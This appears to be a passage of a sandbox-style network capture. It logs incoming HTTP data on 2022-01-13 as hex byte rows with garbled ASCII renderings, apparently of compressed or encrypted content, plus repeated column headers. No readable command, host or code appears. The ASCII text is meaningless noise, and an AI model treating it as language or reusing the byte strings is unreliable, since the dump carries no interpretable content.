Data Ascii: _f]gi+KuvptrJn|*lKSa[>fNi9w\3jjx2qL l)LNRoz!I=|(3b7y`K>8s;t<t>t?tAtBtDtEtGtHTt%**JDE%FQQL*:aEYadQ0
(k\5.e!FYaQJFE%LQ

2022-01-13 21:05:25 UTC 1345 IN Data Raw: 75 ac 3c f6 f0 9d b2 8e 3d a6 fa 1f 1e b9 6e ee 14 d7 14 f8 a3 a3 1f 8a ac 38 14 9e e4 97 01 c9 54 ff 43 2e 77 9f
e6 3d 53 e0 8b e2 c7 27 cb 0e 21 a2 ec 94 56 51 ca 54 ff c3 ab d4 37 77 8a 6b 0a 74 51 1c a1 65 c5 21 df 29 eb d0 65 aa 
ff 21 97 9b 3b c5 35 05 be 28 7e 24 b3 ec 10 c2 cc 4e 69 15 cf 4c f5 df e7 a2 23 cd f0 a2 b8 a6 40 17 c5 11 6f 56 1c f2 9d 
b2 0e 72 a6 fa 1f 72 b9 b9 53 5c 53 e0 8b e2 c7 3c cb 0e 21 f6 ec 94 56 91 cf 54 ff 7d 2e 3a fc 0c 2f 8a 6b 0a 74 51 1c 41 
68 c5 21 df 29 eb 70 68 aa ff 21 97 9b 3b c5 35 05 be 28 7e 74 b4 ec 10 02 d2 4e 69 15 23 4d f5 df e7 a2 63 d2 f0 a2 b8 
a6 40 17 c5 11 99 56 1c f2 9d b2 0e 9c a6 fa 1f 72 b9 b9 53 5c 53 e0 8b e2 92 48 e5 f0 43 05 2e 83 5f aa 5d b2 f0 cd 5b 6f 
34 7e 03 28 7d c1 b9 88 90 56 3e 2d 5c 08 
Data Ascii: u<=n8TC.w=S'!VQT7wktQe!)e!;5(~$NiL#@oVrrS\S<!VT}.:/ktQAh!)ph!;5(~tNi#Mc@VrS\SHC._][o4~(}V>-\

2022-01-13 21:05:25 UTC 1346 IN Data Raw: 08 7d 8a c3 8b 88 4f a2 eb e1 c5 ca d9 e5 70 8c 1a ac 81 1b e2 69 0f 98 ef 94 c6 57 c1 9d 34 e7 bd f7 d9 da bb 
46 0e aa ef 48 73 da 03 46 39 a5 f1 55 1c 27 c5 79 9f c2 74 ef bb 46 8e ea ef 07 6e da 03 a6 36 a5 f1 55 c8 26 d9 79 9f 82 
ce 6b ea eb ef 1a 39 a8 bf 23 a3 69 0f 18 d0 94 c6 57 d1 99 64 e7 43 0a d3 fd ef 1a 39 aa bf 1f 8e 69 0f 98 c5 94 c6 57 81 
98 64 e7 c3 2b 07 d3 fd ef 1a 39 a8 bf 23 79 69 0f 18 bb 94 c6 57 31 97 64 e7 43 0a d3 fd ef 1a 39 aa bf 1f 64 69 0f 98 b0 
94 c6 57 e1 95 64 e7 7d 0a 3a 5b a9 af bf 6b e4 a0 fe 8e 3c a5 3d 60 98 52 1a 5f 45 52 92 9d 0f 29 4c f7 bf 6b e4 a8 fe 7e 
e8 a4 3d 60 6e 52 1a 5f 05 4d 92 9d 0f 4f 30 d3 fd ef 1a 39 7a fa f2 a3 24 ed 01 23 92 d2 f8 2a 3e 92 ec 7c 48 61 fe d9 d7 
33 72 54 7f 3f 20 d2 1e 30 0d 29 8d af 
Data Ascii: }OpiW4FHsF9U'ytFn6U&yk9#iWdC9iWd+9#yiW1dC9diWd}:[k<=`R_ER)Lk~=`nR_MO09z$#*>|Ha3rT? 0)

2022-01-13 21:05:25 UTC 1347 IN Data Raw: 7e a1 5b cc ba cb 92 48 5b b3 de ef 7c 30 e7 1c 23 47 8d 13 52 c6 49 61 0f bd 35 f7 66 6c e0 33 b4 4d 1b 15 c6
b3 a7 27 63 3c a3 bd 19 cd 2a dc 1b cf e6 56 d6 a8 88 7d fb 5e 3a 33 4c 2b f0 1e 07 b9 4f 2f 1c 7b 0d ce f8 b4 cc ce a7 c1 
38 29 2f 60 8f 0e 13 78 38 4a 46 a3 a4 70 7e 5b fb f0 fb ce af 73 2b 04 5c 5a 58 cb 8a 3c c0 08 66 a7 d9 bd 51 4d c0 b7 87 
2b 2b b0 91 d1 1b 78 fa 33 dc 58 5e 77 8e fc 32 b6 73 3f 8d b2 b1 61 fe 19 d8 72 0e 73 77 34 b3 01 89 ca ac 9c 4d 98 fd 
c5 ef 92 08 bd 7d 3a cb 64 54 e8 ad 86 fb 41 b7 e1 a5 00 f0 e3 08 5a 6e 56 2b 10 cb e3 d0 9d 5f b5 3a da 0b ba 80 4b 04 
fc 5d b1 23 fe ca 8a 6f f7 75 fa f4 b4 c6 37 12 37 05 b1 6c 01 7d a1 15 98 54 73 02 24 f7 db 8e a3 9f ec ee ee 9c e9 d6 e6 
0f 47 df 3c 3e ff 86 cf 7b bb 8e 7e 7a b6 73 
Data Ascii: ~[H[|0#GRIa5fl3M'c<*V}^:3L+O/{8)/`x8JFp~[s+\ZX<fQM++x3X^w2s?arsw4M}:dTAZnV+_:K]#ou77l}Ts$G<>{~zs

Timestamp
kBytes
transferred Direction Data
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2022-01-13 21:05:25 UTC 1348 IN Data Raw: e7 b6 bb a0 8d a5 58 cd 01 f8 63 11 00 b7 05 00 ef 93 41 72 9e e6 3f 75 1c 38 e9 97 4d 7b 81 b8 24 0f 00 55 
9a 80 0e fc 53 87 40 1d 01 1b bf e2 20 d4 50 d9 79 11 2a b3 45 50 d9 99 b9 9b 38 eb 31 1a 84 b6 fc c9 cf 91 09 95 4b d5 
5d 74 e7 5e 4b 7a 20 ac 9d cf 8a 92 8d 0b 21 04 f9 20 85 d6 85 58 67 b9 87 80 9b e6 33 03 2b 7d f6 8d 8c a0 6f 51 ff 90 
83 20 42 f4 0d eb e5 31 f3 31 f2 76 67 f0 f7 b5 6b 56 87 66 29 1c 11 56 54 53 f8 37 47 e1 42 8a 07 7c bb 80 97 cd eb 9d fb 
b4 70 e7 c6 9e e0 3b 2a 5b 99 36 54 c8 ac a6 1e a1 20 2d 20 0e 96 68 72 42 0d 48 14 5d 0b 14 d8 5d 84 02 9f 66 6e bd 
2d c7 fe b8 9f d4 35 6a c0 c1 27 ac 69 0c d7 c2 9c e6 54 5e 8d 45 8d 66 8b 30 69 53 52 c2 0e ab 11 c0 78 f5 70 bc fe b3 
e3 14 2c 9c e6 6c ab 6f b4 ec f5 03 a9 bd f4 0e b7 24 c7 
Data Ascii: XcAr?u8M{$US@ Py*EP81K]t^Kz ! Xg3+}oQ B11vgkVf)VTS7GB|p;*[6T - hrBH]]fn-5j'iT^Ef0iSRxp,lo$

2022-01-13 21:05:25 UTC 1350 IN Data Raw: ff f4 c8 47 71 53 e2 99 5b 67 7d d8 d5 35 4f 06 1b 81 03 9c 9b 9f a3 f3 99 27 fc f8 44 06 0b 19 58 61 5d f4 86 4f 
54 81 17 3c ee e3 5b 96 df 0c 46 d9 bd 6e 5a 5f fb 59 17 4d f0 50 75 dd f0 39 ef 42 d1 3f 43 fe fc 15 11 8f 49 11 2d e0 0f 
07 5e c8 1f 8e 3c d1 e4 6f ef 0b e8 ba 96 9e a5 9b dc 74 6e f1 9e 84 00 38 0d aa f7 52 04 2e b3 49 ab 52 e1 5d cc f8 d3 36
21 da a1 f8 25 74 d3 4f 0d bd 35 6e a8 af 6d 0d 97 60 ee 2e 7d 6d 48 36 88 01 fd 07 91 9a 91 bd 00 38 d8 72 20 4f 53 bf 
24 71 0c 72 65 0e e4 ba 40 09 93 ef 09 62 0e 8f d5 68 98 1b be cd e0 7c 07 cd 12 d7 00 89 2c 80 51 06 4f 4f 20 14 e0 78 
0c b8 fc 0e 06 d2 24 3f f0 48 4a 89 08 b4 9c 88 fc a9 55 01 1f 56 af 70 ef 78 c6 69 f0 b6 b5 de 40 d5 88 04 ee 08 c0 11 c0 
ff 70 42 e1 ff 82 87 4e 74 05 4b 8e 2c d8 
Data Ascii: GqS[g}5O'DXa]OT<[FnZ_YMPu9B?CI-^<otn8R.IR]6!%tO5nm`.}mH68r OS$qre@bh|,QOO x$?HJUVpxi@pBN
tK,

2022-01-13 21:05:25 UTC 1351 IN Data Raw: 6a d7 f5 7f 2c ae 5b 0f 5a d7 ae ca 00 d7 ed c9 b4 88 0d a4 44 ec 01 54 d3 bc d6 fe 43 21 73 f8 0f 1d 75 11 35 
b7 d0 2e 40 27 ef 63 b1 91 fd 79 80 06 2a 93 ec ed 68 29 d3 b7 39 e5 41 fa 71 46 c1 e9 24 f3 d7 1a 09 90 99 60 46 8e 0a 
19 40 e2 68 a4 10 04 0b e4 b5 00 4f 2b 27 61 b5 ef f7 7f db d6 85 e7 e8 2c a5 2a c8 53 ca f0 c8 0f bc 35 77 f0 67 60 8f 28 
cf c3 5d 5d 1d 70 52 3c f4 82 cb c1 15 46 ec c2 c9 81 93 fb 48 36 33 67 60 91 ab 13 bd b7 ce b0 c6 12 59 d6 8c 7b b1 60 
09 30 05 4c 75 70 28 02 46 a7 92 fa 3c 29 5d 28 a7 cc 42 44 56 5e e1 4f 8b 27 13 6c b3 91 3f 53 5e b5 8e 84 c5 51 5b ad 
40 05 56 85 df cd 57 bc cc 42 eb f8 47 98 b1 a3 af bf 05 a5 70 d8 3d 3f 96 dc a1 b3 32 9c 90 f4 75 98 0d 1d 1f 30 8b a5 7e 
30 62 f0 6b 88 d6 19 58 de ce 0f 98 0a 12 e6 c2 
Data Ascii: j,[ZDTC!su5.@'cy*h)9AqF$`F@hO+'a,*S5wg`(]]pR<FH63g`Y{`0Lup(F<)](BDV^O'l?S^Q[@VWBGp=?2u0~0bkX

2022-01-13 21:05:25 UTC 1352 IN Data Raw: 11 7c 51 75 e0 0a 4f a8 70 c8 6e 35 fc a4 d7 f4 2b 7e 50 7d a8 e3 ec 3a b3 3f 26 24 a4 19 f4 e3 88 a6 7d ce f2 
3b e0 03 62 ca 34 05 8b 2b 95 c2 15 3b 78 90 be e0 1e 3f ab 08 21 de 6b 44 f3 2d af b9 aa 83 f6 90 bb 03 45 f6 f4 a8 4b 
27 6b 27 26 5a ac d6 1b 71 1a 3e f4 1d 90 5f 20 94 8e 55 7b 5b 18 b9 f6 53 98 f1 c0 0f d9 69 99 6f a6 11 2e 8e 9c 2e db 
48 01 b6 32 50 1e a8 1b 42 89 3d 3f 8d 46 aa a1 95 1b 80 39 0d 12 8b 27 18 69 93 84 f2 3c 65 6b 6e 11 c6 f8 be a5 eb 07 
c3 37 85 21 af 02 69 17 8a 00 e0 
Data Ascii: |QuOpn5+~P}:?&$};b4+;x?!kD-EK'k'&Zq>_ U{[Sio..H2PB=?F9'i<ekn7!i

2022-01-13 21:05:25 UTC 1352 IN Data Raw: 73 52 49 60 5a 1c 53 bc e9 35 7a 8c 78 30 3b 7f f7 f4 a4 eb dc 6f 39 68 fa 2b 77 ab 53 c5 53 51 4b 3f d0 f6 b7 
45 a8 10 35 75 fe 5f aa 55 ff f4 d5 56 c7 8a 3d 53 97 30 90 be 64 2e 7b 06 30 5a 81 d6 05 e8 9a 0c 94 80 4d 46 74 4d 41 
50 88 ce a7 9c 6b e6 47 7e 0a 22 3c 60 f1 d3 13 21 04 85 32 d6 d8 2d 6c a3 c0 7b 98 45 90 18 fb 37 0c 83 eb f0 6a 01 74 
46 11 a0 ec 49 99 ff 57 db 51 41 f1 85 5d 91 9b 22 90 e8 06 7f f6 45 89 a0 77 8b c7 63 9e 27 e9 cd e6 1d 80 19 69 24 ea 
21 e4 d0 8c ac 77 dc cb 64 5d f7 bb 35 38 76 d6 16 e9 40 3a e9 e4 2a 81 c3 00 04 55 1f 5c e5 0e ac 3c 81 aa 87 6b 4f 3e 
6c a3 1e 8c 16 12 57 04 79 40 3f b8 fe e2 34 4f ee 30 b1 3f 4b 4f 73 36 28 b6 40 21 1e 02 1f 89 fd 42 71 44 4e 41 dd 78 5d 
bb 8e 0f 73 5a 81 6d 91 27 eb 1e ce 54 76 6f f7 b3 
Data Ascii: sRI`ZS5zx0;o9h+wSSQK?E5u_UV=S0d.{0ZMFtMAPkG~"<`!2-l{E7jtFIWQA]"Ewc'i$!wd]58v@:*U\<kO>lWy@?
4O0?KOs6(@!BqDNAx]sZm'Tvo

2022-01-13 21:05:25 UTC 1354 IN Data Raw: 15 f5 fd b0 53 7b 73 73 ab 59 29 83 d7 9d 5a 27 a7 5f ce 9b d5 b8 eb 12 fd a0 dc ce fc d2 d8 1f 6e 94 ca e7 5f 
4e 4f 4f ce 2e be 7f f8 0c 92 a6 5a 2b 7e f7 db 87 4e a7 7b 50 d8 1a 7c f2 7b a7 d6 d7 d3 df db 95 fe d0 9d b8 91 b3 b5 45 
c7 15 2d 60 da 97 51 99 fb 3a e6 ab b5 bb f9 a3 d9 4d cc ee c2 ff a2 9f bd 9d af 15 60 23 36 f0 a7 a3 d2 19 3c c8 fb 00 53 
79 a1 12 bf 36 40 43 c4 c5 a3 38 26 0d 02 d1 61 65 a5 3b 8a e7 f1 37 bd 70 ac 63 41 1a d4 12 2d cc 18 6d 40 76 67 e0 b5 
a8 78 21 a6 86 80 a7 0d 15 17 44 92 66 4b 92 0c 3b 25 ed 3a 00 14 4c 59 17 ee d7 66 fd 4f f7 3d b5 db 5d 42 51 8b c0 2b 
d2 fc 45 86 c7 ab d9 64 70 cf 49 47 fc a0 8a 50 3d 69 15 6a f2 ee 6e 23 0b 23 93 d7 03 08 03 e0 9a 4c fb e5 b9 2f 93 a6 bc 
e2 8b 5b 6f 40 a0 b1 26 2c 87 93 39 46 5f 37 
Data Ascii: S{ssY)Z'_n_NOO.Z+~N{P|{E-`Q:M`#6<Sy6@C8&ae;7pcA-m@vgx!DfK;%:LYfO=]BQ+EdpIGP=ijn##L/[o@&,
9F_7

2022-01-13 21:05:25 UTC 1355 IN Data Raw: bf f2 4f 0c 38 af f9 0e 81 05 f5 b7 78 d4 b7 a3 4f a6 c1 28 09 75 6b 2c 02 2c b8 21 d0 f9 7c 8d 17 63 f3 28 31 
27 f5 ef 92 a1 0f e7 c5 9e 16 2c df 1c c2 86 3c 3d e9 5f 8e 3f 1f 9f 7c 3b d6 ab c0 66 20 e2 d1 34 2c 29 4d 01 15 fd b9 8c 
9e 09 65 84 4c d4 27 57 65 7d 57 0a 4c d5 0b f0 ea ab 5b e7 ee 47 95 0a b4 9c d6 0a 11 00 6c eb 39 d5 b1 29 29 af 2f 63 
67 94 2b fd c5 a4 54 ea 24 dc 10 55 64 8d 05 40 f9 63 e7 57 3c f2 8d 89 34 dd e2 cd 79 18 bd 13 91 e4 b4 62 8a 4a a3 6b 
95 68 db bb 95 cb 58 05 89 64 65 f3 85 7e a1 26 a8 3a ae 77 85 17 6c 49 97 cd 96 7a 7a 75 59 5f bd 5b 68 43 ec 95 6f 98 
4e cf d5 43 b2 23 a8 60 5a 41 df ed 44 44 a9 c2 1b 59 31 f3 44 41 45 46 b7 db 64 54 46 64 d2 7c e1 f8 6d 74 96 8a 01 87 
e4 ac e9 f2 70 a1 a7 77 2e 10 8e bc 2d b2 52 c8 7b 
Data Ascii: O8xO(uk,,!|c(1',<=_?|;f 4,)MeL'We}WL[Gl9))/cg+T$Ud@cW<4ybJkhXde~&:wlIzzuY_[hCoNC#`ZADDY1
DAEFdTFd|mtpw.-R{

2022-01-13 21:05:25 UTC 1356 IN Data Raw: 0b 30 ad 44 d6 fd f6 b9 23 8b f9 b4 15 f5 cc d1 89 0c 44 22 98 e4 4f 61 5f f8 4b 17 f7 ce f5 07 30 60 e8 42 eb e5 
ce 34 67 37 be b6 9d a5 c3 11 d3 cd 66 92 f2 2f 7b 9b 5b 9f 9d 45 c7 41 0b a0 d3 29 45 07 d5 17 44 68 e3 2c 62 a3 37 6f 
f4 5f 56 97 8c 68 f5 17 1d c8 5e 98 e5 91 f0 68 42 db 30 c3 5b 69 df bc 49 0a 11 0f 55 cf cf fe 05 f6 9d 22 a3 7b 6f 52 1b 91
30 90 3c f0 4b 94 30 e6 1b ef 3b b3 10 95 31 8d 5c f2 b0 d1 83 b8 6a e6 50 de 6d 6d f9 7d b1 bb 4a ec 5d 6b 85 3c f8 96 
27 93 e1 56 32 49 a5 2d d6 c7 e2 6a ef 4c 28 d8 db ce 82 18 b6 e7 bc 09 d3 96 5f e4 c5 5b 32 7e 3c 90 7b bd 3f db e1 3d 
02 ec 13 06 e9 ff b8 26 9f 17 d4 fd 5a df f5 dd 0f 0f bc fe 4f 61 5a dc 85 a2 35 9c 7f d5 5d d4 d2 06 5e 47 92 33 4c b0 60 1c
02 c8 48 1a 40 f8 fa 5a 20 bc ff 39 20 
Data Ascii: 0D#D"Oa_K0`B4g7f/{[EA)EDh,b7o_Vh^hB0[iIU"{oR0<K0;1\jPmm}J]k<'V2I-jL(_[2~<{?=&ZOaZ5]^G3L`H@Z 9 

2022-01-13 21:05:25 UTC 1358 IN Data Raw: a4 14 42 95 5a 7f 73 8b 68 21 cc 78 07 26 77 a8 7e 19 02 f5 2d 5b 85 67 58 78 5b 15 8a 64 ec 7f 62 65 ba 4d 
fb a9 ba 1a 34 cf f5 d2 82 b1 e4 08 ea c7 c1 89 34 ed 62 24 2e 45 c3 d3 7d 58 7c 0e 3d 76 82 f3 66 ac f5 02 7b 55 9f 65 
b1 3d 8e fa b1 21 5f 2a a4 c7 b2 08 5d 91 64 55 ed d2 42 32 ff d6 1f b6 01 e1 a2 29 4d 7d 63 c1 59 19 56 3d e1 25 6f cf d4 
96 4a 72 55 5f c2 7a 57 fd d6 de 42 79 0d 13 2c 5b 53 f7 d4 f1 dc be 2f 45 a3 69 76 a3 9f 12 f7 7d d3 dd c1 2f fa 35 60 e7 
f1 3e c4 27 1d 08 cc c8 71 64 62 d2 e7 6e e8 f0 de b3 37 94 60 2a 10 17 66 4e 02 3c 2a 2c 07 71 44 5a d5 8f 5e 6a da 15 
5f 95 d6 63 fc 54 17 77 9d e0 a5 ed ea b7 ba 26 53 a9 c0 cf ad c3 17 72 a9 da f3 a4 0b 66 19 08 44 85 1b 56 d7 38 6e f2 
3b 88 ea 56 fb a7 a2 a8 5b c9 16 17 16 7d c4 30 6e 
Data Ascii: BZsh!x&w~-[gXx[dbeM44b$.E}X|=vf{Ue=!_*]dUB2)M}cYV=%oJrU_zWBy,[S/Eiv}/5`>'qdbn7`*fN<*,qDZ
^j_cTw&SrfDV8n;V[}0n

2022-01-13 21:05:25 UTC 1359 IN Data Raw: 75 f0 31 d3 f0 55 04 e9 75 6d e2 4f 67 93 61 ce 9e 1b fb 69 e4 da 11 36 1d 29 5b 33 9b 8d 0f 80 94 8b e8 ea 20 
9d 13 13 5d 42 06 c7 90 75 3f 0a bc 5c c9 b2 2c 67 0f b1 61 f2 31 ea 10 06 4e 81 26 83 d0 cf 47 95 78 86 cf 2a 69 c7 15 
77 f4 27 17 2a a2 31 f1 e1 6d 5e 73 8b 3d ab 5d b3 f3 ca 2c 1e 66 31 da fa 1c 32 1e 04 c5 f1 64 34 1d 4d 1f c7 7e d1 b5 87
ae df 97 00 e6 c4 d5 83 a7 5a d0 ce 33 80 59 f3 0e 1b d0 ae e8 05 d5 1c fa d3 8b 60 e0 03 c6 f2 d2 78 72 8c 38 50 cb dc 
28 e9 73 86 99 8f 49 cc 18 2e 40 18 e3 c2 65 b8 70 05 3a 11 17 07 41 0a 0d 76 b1 53 9c 76 fd 61 9c dc d6 9f 00 4e 47 9f 
4e 1e 9f bc bc 03 ef fa 1c e8 c6 ed 22 02 08 35 7e 1f 18 80 07 1f 00 03 c9 52 2e 2f e5 2e 2a e5 e7 09 67 71 39 0f 41 60 48 
83 67 44 e7 5a 02 9f 08 5b 6a f8 79 77 3e 06 84 
Data Ascii: u1UumOgai6)[3 ]Bu?\,ga1N&Gx*iw'*1m^s=],f12d4M~Z3Y`xr8P(sI.@ep:AvSvaNGN"5~R./.*gq9A`HgDZ[jyw>

Timestamp
kBytes
transferred Direction Data
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2022-01-13 21:05:25 UTC 1360 IN Data Raw: 04 ed 47 90 05 75 59 ec ca e8 17 b4 c8 71 55 18 6a e6 cc a8 c8 1b 80 b1 96 a5 2c 7f 2f ff 37 72 19 5f 37 50 5a 
d4 4d 2f ff 2f 5c 3e 81 5f 3e d0 ca 5a 54 6b 04 5e 1e db 3e 0e f2 da c2 96 72 6d 3b e8 fb 5e 6e 3a ca a1 70 95 0b a0 33 f8 
e0 a0 0c 65 54 50 e6 db 6e 56 99 d0 9d 18 9f 5e 02 7b 20 6a b1 71 66 58 cb 0e db c5 04 2a cc a2 09 a4 4f 7b d2 f1 a7 7a 
41 cb 21 7b f3 50 ff e6 32 db 68 9c c7 56 71 60 fe 15 64 29 21 c7 fb 34 99 0d a7 d0 f5 62 df 0e a7 24 b8 6d 6c 2c fa 22 64 
c4 3d 8e 96 55 f9 8c 37 ba 29 30 e8 0f c6 d3 c7 9b 90 11 2b aa 57 86 9d 42 41 ac 55 d9 a8 d7 db 4b c7 9f e4 78 ec 9a 07 
92 12 a3 5b d0 90 01 8d 5e 71 3c 0b bb 79 8d d6 38 d0 c2 b9 7c 65 59 28 30 c5 9f d9 b8 6b 4c 82 f2 ad a5 64 d0 8e 30 c2 
e5 88 98 06 50 72 6f 74 47 a3 d0 df 67 9f 68 4a 
Data Ascii: GuYqUj,/7r_7PZM//\>_>ZTk^>rm;^n:p3eTPnV^{ jqfX*O{zA!{P2hVq`d)!4b$ml,"d=U7)0+WBAUKx[^q<y8
|eY(0kLd0ProtGghJ

2022-01-13 21:05:25 UTC 1361 IN Data Raw: 5e 23 d9 f1 0c f7 ca 62 2c 16 bf db b7 6c 8a 68 86 0d 60 e9 c6 b0 67 d9 7c 75 bb 4b 56 88 7b 2f 31 97 e5 0c 8b
cb 37 dd e9 74 6c 6a eb 96 c3 e6 9f 3b ea 6f 6c 50 62 98 4c dd 5b 2f 9b 9b 65 0b 52 60 fa 77 81 21 7b fe cf 93 76 5e bb 21 
72 ad 8f c7 2d ef e6 46 13 7b 3b ae e0 4c eb 65 60 f8 93 1e e8 3b ac ce d7 af 81 fb 80 50 3c 1a 75 fa 28 82 82 90 1b 7d 
19 00 3d c9 5f ae 8d b0 a7 92 3d 6d 66 27 08 bf 83 ec 95 d7 20 c5 fc b9 39 9a 74 8a c4 9d 83 d9 80 c9 df 66 c8 0c 8d 20 
52 99 1a ac a0 9b e5 75 cb 8e e1 2e 1d 6c 97 de ee 34 77 71 01 99 aa 9a 59 59 b1 b0 cf 82 ea 37 37 66 aa 35 0d b7 46 
ed 89 fb 62 20 f9 98 10 9a d9 8e 15 6d 0b b4 60 25 82 aa 66 0e f0 84 bc 53 a8 ee e8 46 b9 c4 65 02 36 de f7 69 46 4d e2 
ce be 2d ac 33 3d cb 91 2d e8 dc 58 d3 91 6c 35 67 29 
Data Ascii: ^#b,lh`g|uKV{/17tlj;olPbL[/eR`w!{v^!r-F{;Le`;P<u(}=_=mf' 9tf Ru.l4wqYY77f5Fb m`%fSFe6iFM-3=-Xl5g)

2022-01-13 21:05:25 UTC 1363 IN Data Raw: db 68 6a 25 0a 60 44 33 a6 7b d9 91 27 17 78 5a c2 3a 8f 0d 24 37 95 01 58 1b bb 91 5a 20 49 6f 03 5d fa 58 
96 18 3a 1d 3f 9c e6 ec dc ed 70 f4 30 8c f6 08 08 71 64 79 ba b5 64 64 d6 6e 41 b2 4d 6a 47 b7 c0 fa d3 29 67 99 94 bf 
52 a5 d6 6e 81 6d a4 33 35 db e9 94 8b 4c 9e 6f 3d 05 09 fc b0 71 d4 6f b9 29 34 b6 3d 34 46 c3 e9 64 d4 ef fb 2a 03 24 
2b 84 23 bd 9f 1d e9 a4 5f 57 df 8a bc 70 b3 2e a9 5c 5d 65 1e 5d cd a4 52 1d 3e 04 38 e5 50 e2 78 72 6d 58 63 b8 19 88 
86 c9 8c e5 87 3d d0 4f c2 68 fb 3e 8f 82 6b a7 a0 e9 9a 29 a7 6b b5 44 15 82 a8 78 35 51 4e 91 9e cc dd 86 45 25 93 b5 
3f 82 f9 8d 7b 41 53 34 ca 88 02 88 be 1b e4 b2 98 47 0d 25 e5 51 c2 49 5f 44 55 32 dd 66 1a d7 0a b8 39 f4 fc ac 85 c1 
d4 07 5a e3 0e db 22 9b 36 9f 1b 07 49 6c 92 83 51 5f 4f 
Data Ascii: hj%`D3{'xZ:$7XZ Io]X:?p0qdyddnAMjG)gRnm35Lo=qo)4=4Fd*$+#_Wp.\]e]R>8PxrmXc=Oh>k)kDx5QNE%?
{AS4G%QI_DU2f9Z"6IlQ_O

2022-01-13 21:05:25 UTC 1364 IN Data Raw: 26 a5 40 89 94 20 64 4a cf 9e da 96 33 37 4e d3 be ae 12 83 b3 85 f5 17 0b 26 45 da d6 10 46 05 64 52 6e 5b 
4b ea d7 27 24 05 40 19 e8 16 b6 03 a4 f6 55 bd a7 c7 0f c0 c6 02 84 2d d6 43 d6 af e4 96 26 c9 30 f2 39 8e 85 47 86 40 
62 13 67 86 94 e7 89 7c 79 63 f5 42 89 2c e6 d8 ee de 57 8a a7 be 3f 81 56 87 be cb 8c a3 ac c6 cf d6 59 8f 1f 06 b6 ad 
73 ce e8 85 bc db b7 f8 17 ae 60 ef 03 16 b8 db 09 34 01 9c a5 1f 20 67 c3 13 44 bc c4 27 e1 1c 45 6f a3 68 e9 ef 89 45 
b9 2b c9 cd 33 56 7d c3 8a c4 12 91 fd 63 52 ba 61 68 53 a4 ed 2b d2 0e 12 69 73 e3 32 2b 97 0f 90 64 be 65 d3 f7 31 fd 
7b 36 fd 00 d3 7f 64 d3 3f 62 fa 5f d9 f4 7e 71 34 14 07 ff 64 21 df c9 bb 9c 92 e6 c6 df 2a ae 05 7d 70 8a c0 64 70 4b db 9f
84 d6 d5 13 48 ce a6 16 4e 67 43 13 ff 40 cd b1 d3 
Data Ascii: &@ dJ37N&EFdRn[K'$@U-C&09G@bg|ycB,W?VYs`4 gD'EohE+3V}cRahS+is2+de1{6d?b_~q4d!*
}pdpKHNgC@

2022-01-13 21:05:25 UTC 1365 IN Data Raw: a1 70 6d f9 66 be 52 da 92 13 de bf df 79 2e bf ad 98 f9 ed ed ca db 1d cb ca fb 1b 3b 5b db e5 0a 9e d5 2c 94 
a3 16 36 36 b6 31 84 12 7c 4f d6 5f 28 eb 3c ff 5e de b7 76 b6 b7 ab 3b 85 3c d4 51 2e 55 aa fa bb 77 e5 92 5e 48 96 28 
14 3c 9d 7d 35 62 10 ca bb cf 95 ad 92 9c 50 d9 d8 a9 3e 03 e8 ba 29 27 3e 57 2a 5b 52 ae 1d 91 29 4a 13 09 f3 58 cf e9 
2c c2 e4 9a 84 4a 37 46 65 84 47 aa 12 d9 1f 61 50 77 ae 3c 6c 82 8d 64 b1 3d 19 0d 1a bc 57 78 f0 53 9c 4b 2a bf 2d bf 
83 75 03 e0 7c 1f 39 f3 f2 9a 96 54 00 08 ab 96 01 5d 3b cf 6d e8 01 77 3b 82 da 2a d5 b7 58 5b 75 67 1b 6b 8b 6a e2 ee 
51 f4 62 74 45 aa 6f 61 3d 6f 10 eb bb cf 79 aa 08 1e 2b cf f9 0e 7b dc 79 ee e2 c3 26 0d d2 32 68 88 12 0a 79 c4 78 09 
28 7b 59 4e a4 89 82 18 6e e1 2e 25 20 8b 40 5c de f3 
Data Ascii: pmfRy.;[,661|O_(<^v;<Q.Uw^H(<}5bP>)'>W*[R)JX,J7FeGaPw<ld=WxSK*-u|9T];mw;*X[ugkjQbtEoa=oy+
{y&2hyx({YNn.% @\

2022-01-13 21:05:25 UTC 1366 IN Data Raw: 2d 16 15 6c 72 7b 59 93 7e b2 c9 42 55 88 e2 ae 20 7f 27 ef d1 bc f7 d9 4c c7 79 10 fb c8 83 7a eb e5 a0 a7 40 
e7 46 ce 1f ba 23 b2 70 83 9a 1d b0 3d 3d 61 de 06 d5 d2 f8 79 ab 30 7e d8 fc 1c 02 f0 1c 02 a9 74 cd 19 2c 01 95 01 06 
b3 58 65 c3 ab 89 fc e5 eb 5a 02 6b ea 12 15 a9 44 25 59 a2 bc a5 2e 52 95 8a 54 93 45 2a e5 da 9a b2 cc 96 54 66 2b 
2a b3 4d e3 a4 6e 65 db f0 98 c4 4c 2f 6c c0 1d 3e 36 7c d0 5e fa 4a bf f1 64 36 1e 17 a0 5b 46 73 4c 0a 65 81 77 91 50 
01 da 88 5e 00 01 ac 83 d0 3d 94 2c 4a cf 2e ac 7b cf 1e a0 6f e7 d9 87 ee 6d e9 5c f0 af bc ca 83 18 0f 6a 56 a1 0c 0b 21 
4a f4 95 ea 46 65 7b 1b 56 11 4b c8 8e 1c 46 48 45 1f 44 77 0f a4 3a b3 35 6c e3 21 85 c7 57 b6 89 1e 10 7b f6 ab b4 9c 
fb ca 35 13 89 ce 66 79 bb a4 43 73 05 29 91 f4 a3 e4 
Data Ascii: -lr{Y~BU 'Lyz@F#p==ay0~t,XeZkD%Y.RTE*Tf+*MneL/l>6|^Jd6[FsLewP^=,J.{om\jV!JFe{VKFHEDw:5l!
W{5fyCs)

2022-01-13 21:05:25 UTC 1368 IN Data Raw: 72 5e 83 d0 ff ef ea 5e c2 8a ec ea 26 46 c7 d1 ac a2 16 05 c8 b1 af 40 22 bf d6 49 5b 55 7e ac 5c eb 7b ee 66 
c5 74 37 cb c2 8a 96 b2 91 b8 3a ea c9 b5 b3 5b 79 77 af ad 3f 79 57 3e ee 6c b4 63 27 32 0f 4f 90 d8 cc b0 82 47 63 8d 
b3 04 41 ad 25 ed 82 03 3e 0d bc f4 fe d3 1d df c7 a3 3d b6 82 6e 4c ac 93 5b c0 20 2e 58 ec b0 78 64 69 9a 90 b3 41 df 
c3 30 0c 09 e7 d5 cb 21 3b bb e9 80 d0 b2 b3 15 2f f9 20 a6 62 cd b8 e3 7d a7 d7 04 ee 07 73 22 ae 98 ad 95 6a d1 56 98 
9b 07 c4 00 09 b9 f9 92 0e a4 e3 e6 61 60 81 6a e8 17 5b df 01 01 c6 ea a2 05 18 7e 7d 9d 89 20 4e 1e d5 af e7 36 e9 fe 
